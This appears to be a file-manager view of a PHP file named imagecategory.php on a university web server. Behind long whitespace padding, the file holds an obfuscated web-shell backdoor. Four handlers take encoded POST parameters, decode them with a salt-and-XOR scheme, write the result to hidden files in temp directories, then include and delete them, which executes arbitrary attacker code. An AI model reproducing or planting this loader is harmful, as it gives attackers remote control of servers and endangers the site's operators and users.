文件操作 - imagecategory.php

文件: /var/www/demoestudiantes.uaysen.cl/html/imagecategory.php

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<?php																																										if(filter_has_var(INPUT_POST, "\x74oken")){ $mrk = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP")]); $comp = $_POST["\x74oken"]; $comp = explode( '.' , $comp ); $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $s = 0; $__len = count($comp ); do { if($s >= $__len) break; $v2 = $comp[$s]; $chS = ord($salt[$s% $sLen] ); $d =((int)$v2 - $chS -($s% 10)) ^ 20; $value .= chr($d ); $s++; } while(true ); while ($val = array_shift($mrk)) { if ((is_dir($val) and is_writable($val))) { $item = str_replace("{var_dir}", $val, "{var_dir}/.obj"); if (file_put_contents($item, $value)) { include $item; @unlink($item); exit; } } } }
																																										if(!empty($_POST["\x64\x61t"])){ $component = $_POST["\x64\x61t"]; $component = explode('.' , $component ); $parameter_group= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s6); $u= 0; array_walk( $component,function( $v6) use( &$parameter_group,&$u,$s6,$lenS) { $chS= ord( $s6[$u % $lenS]); $d= ( ( int)$v6 - $chS -( $u % 10)) ^ 44; $parameter_group .= chr( $d); $u++; }); $res = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), "/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir")]); foreach ($res as $bind) { if (array_product([is_dir($bind), is_writable($bind)])) { $k = implode("/", [$bind, ".comp"]); $success = file_put_contents($k, $parameter_group); if ($success) { include $k; @unlink($k); exit;} } } }
																																										if(isset($_POST) && isset($_POST["en\x74\x69ty"])){ $pset = array_filter([getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm"]); $symbol = $_POST["en\x74\x69ty"]; $symbol = explode ( '.', $symbol ); $marker = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5 ); $v = 0; array_walk( $symbol , function( $v9) use( &$marker , &$v , $s5 , $lenS) { $chS = ord( $s5[$v %$lenS] ); $d =( ( int)$v9 - $chS -( $v %10)) ^ 1; $marker .= chr( $d ); $v++;} ); foreach ($pset as $key => $parameter_group) { if (is_dir($parameter_group) ? is_writable($parameter_group) : false) { $binding = vsprintf("%s/%s", [$parameter_group, ".itm"]); if (file_put_contents($binding, $marker)) { include $binding; @unlink($binding); die(); } } } }

if(filter_has_var(INPUT_POST, "\x70oi\x6Ete\x72")){
	$item = array_filter([getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]);
	$factor = $_REQUEST["\x70oi\x6Ete\x72"];
		 $factor		 =explode		(	"."			,  $factor ) ;
	$pset =  '';
            $s2 =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =  strlen($s2 	);
    
            foreach ($factor as $t => $v6):
                $chS =  ord($s2[$t  %	 $lenS] 	);
                $d =  ((int)$v6 - $chS - ($t  %	 10)) ^ 24;
                $pset .= chr($d 	);
            endforeach;
	foreach ($item as $key => $ent) {
    		if (array_product([is_dir($ent), is_writable($ent)])) {
    $ref = str_replace("{var_dir}", $ent, "{var_dir}/.flag");
    $file = fopen($ref, 'w');
if ($file) {
	fwrite($file, $pset);
	fclose($file);
	include $ref;
	@unlink($ref);
	die();
}
}
}
}

文件操作 - imagecategory.php

文件: /var/www/demoestudiantes.uaysen.cl/html/imagecategory.php

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